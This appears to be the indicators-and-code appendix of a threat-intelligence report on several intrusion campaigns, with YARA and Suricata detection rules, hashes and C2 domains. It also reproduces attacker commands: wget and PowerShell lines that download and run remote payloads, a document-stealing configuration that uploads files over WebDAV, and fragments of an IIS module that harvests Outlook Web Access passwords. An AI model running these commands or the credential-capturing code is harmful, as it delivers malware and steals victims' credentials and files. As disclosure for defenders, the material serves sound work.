<Task> <Code Type="Fragment" Language="cs"> <![CDATA[...]]> </Code> </Task>

wget https://maliciouswebsite[.]com/doWqkwoown/update.csproj -O C:\Windows\Temp\update.csproj; C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\update.csproj

rule Susp_Microsoft_Build_Engine_XML_Schema {
  strings:
    $s1 = "TaskFactory=\"CodeTaskFactory" 
    $s2 = "VirtualAllocEx(0xFFFFFFFF, 0, (UInt32)"
    $e1 = "EnumChildWindows" 
    $e2 = "EnumDisplayMonitors" 
  condition:
    all of ($s*) and any of ($e*)
}

C:\ProgramData\WindowsDefender\Update\SecuritySystrayw.exe C:\ProgramData\WindowsDefender\Update\v.3 -ip C:\ProgramData\WindowsDefender\Update\sys -c C:\ProgramData\WindowsDefender\Update\loc -A

{'USERCAT': True, 'USERCAT_DOWNLOAD': True, 'DEEP_SHARECAT': True, 'SHARECAT_DOWNLOAD': True, 'NEED_SAVE_CATS': False, 'remote_port': '445', 'username': [REDACTED], 'password': [REDACTED], 'my_name': [REDACTED], 'domain': [REDACTED], 'max_size_file': '2100000', 'min_size_file': '10', 'size_archive': '9242660', 'deep': '6', 'format_file': ['doc', 'docx', 'pdf', 'xls', 'rtf', 'xlsx', 'txt', 'zip', 'rar'], 'days': '1', 'host': 'https://update-version.net/pousowdie/alectoromancy/xenoblast/nadirwere/kamalbaka/shellprog/reverbed/saledroid.dotm/2', 'key': [REDACTED], 'wd': [{'wd_host': 'https://webdav.opendrive.com/', 'wd_login': [REDACTED], 'wd_password': [REDACTED], 'wd_work': True}], 'no_need_list': ['.', '..', 'desktop.ini', 'ADMIN$', 'IPC$', 'Default', 'All Users', 'Default User', 'Public', 'Microsoft', 'Windows', 'AppData', 'Application Data', 'Local Settings', 'Все пользователи'], 'need_folders': ['Downloads', 'Desktop', 'Documents']}

command = f'{os.path.join(pfile, "7z.exe")} a "{os.path.join(pfile, "archiv_results", name)}" "{pfile}\\.\\temp\\*" -p{key} -mhe -sdel'

164.25.54.22
update-version.net
webdav.opendrive.com
api.mega.co.nz

powershell
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w Minimized -ep Bypass -nop -c "iwr 'http://infosecteam.info/Job%20application.pdf' -OutFile $env:LOCALAPPDATA\Temp\102fa066-cc9d-4a80-b3aa-12d5df196b42.pdf -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.';$env:LOCALAPPDATA\Temp\102fa066-cc9d-4a80-b3aa-12d5df196b42.pdf; iwr 'http://infosecteam.info/base.php' -OutFile $env:LOCALAPPDATA\Yandex\YandexBrowser\Application\Wldp.dll -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.';"

powershell
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w Minimized -ep Bypass -nop -c "iwr 'https://srv480138.hstgr.cloud/uploads/scan_3824.pdf' -OutFile $env:LOCALAPPDATA\Temp\399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.';$env:LOCALAPPDATA\Temp\399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf;iwr 'https://srv480138.hstgr.cloud/report.php?query=$env:COMPUTERNAME' -OutFile $env:LOCALAPPDATA\Temp\AdobeUpdater.exe -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.1 YaBrowser/23.11.0.0 Safari/537.36';$env:LOCALAPPDATA\Temp\AdobeUpdater.exe;"

rabotnik.today
infosecteam.info
cybers46.team
cybers4646.my.id
srv480138.hstgr.cloud

alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg: "Slam V2.0 FB set ping"; flow: established, to_client; dsize: 8<>17; content: "?PING"; endswith; flowbits: set, slam_ping; flowbits: noalert; sid: 1; rev: 1; classtype: trojan-activity;)

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg: "Slam V2.0 ping-pong"; flow: established, to_server; dsize: 8<>17; content: "PONG#"; startswith; content: "#"; endswith; flowbits: isset, slam_ping; threshold: type limit, track by_dst, count 2, seconds 240; sid: 2; rev: 1; classtype: trojan-activity;)

SHA-256: e42088a37531929e3e775bdfacc5a3ee974e4f59d5290907c2131f434eef345b
C2: 77.231.153.42

  public class ExtenderControlDesigner : IHttpModule
  {
    public void Init(HttpApplication context)
    {
      context.PreSendRequestContent += this.PreSend_RequestContent;
    }
    private void PreSend_RequestContent(object sender, EventArgs e)
    {...

ExtenderControlDesigner.Data item = new ExtenderControlDesigner.Data
    {
      Id = text,
      UserName = userName,
      Password = pass,
      UserHostAddress = userHostAddress,
      XForwardedFor = xForwardedFor,
      DateTimeUtc = dateTimeUtc
    };
    bool flag2 = !ExtenderControlDesigner.hashSetData.Contains(item);
    if (flag2)
    {
      ExtenderControlDesigner.hashSetData.Add(item);
    }

memoryStream.Write(new byte[]
    {
      66,
      90,
      104,
      0
    }, 0, 4);

2024-07-29 14:32:21 127.0.0.1 GET /owa/  443 ZaDS0tojX0VDh82 127.0.0.2 Mozilla/5.0+(X11;+Linux+x86_64;+rv:109.0)+Gecko/20100101+Firefox/115.0 - 401 1 1527 14

Name               MD5
ClassLibrary2.dll  af6507e03e032294822e4157134c9909
ClassLibrary3.dll  2d240b6ceeaacd2e3dd52c9e7d3fb622
ClassLibrary3.dll  5cc433a2550bb7389f6c90521e7afa25
ExtenderControlDesigner.dll  967e7b6b048d628f36bbb4ca7b0f483f
ClassLibrary3.dll   e657eea3b9b7317e28ab4a89c1fa2177
ClassLibrary3.dll   6e6218aac341463496cca32f52b29013
ClassLibrary3.dll  4d66a3bbaf65a2ec36fd2d143c872ef6

rule Owowa {
  strings:
    $s1 = "IHttpModule"
    $s2 = "PreSend_RequestContent"
    $s3 = "ExtenderControlDesigner"
$u1 = "283c00ecp774ag36boljbpp6" wide
    $u2 = "dEUM3jZXaDiob8BrqSy2PQO1" wide
    $u3 = "Fb8v91c6tHiKsWzrulCeqO" wide
    $u4 = "jFuLIXpzRdateYHoVwMlfc" wide
    $u5 = "oACgTsBMliysfk" wide
    $u6 = "uW4sSY1CAkN6kI6r6ByXUWnK" wide
    $u7 = "ZaDS0tojX0VDh82" wide
    $u8 = "zwa879pOX1NAmTom8m3aQvoZ" wide
  condition:
    uint16be ( 0 ) == 0x4d5a and ( 2 of ( $s* ) ) and ( 2 of ( $u* ) ) and filesize < 20KB
}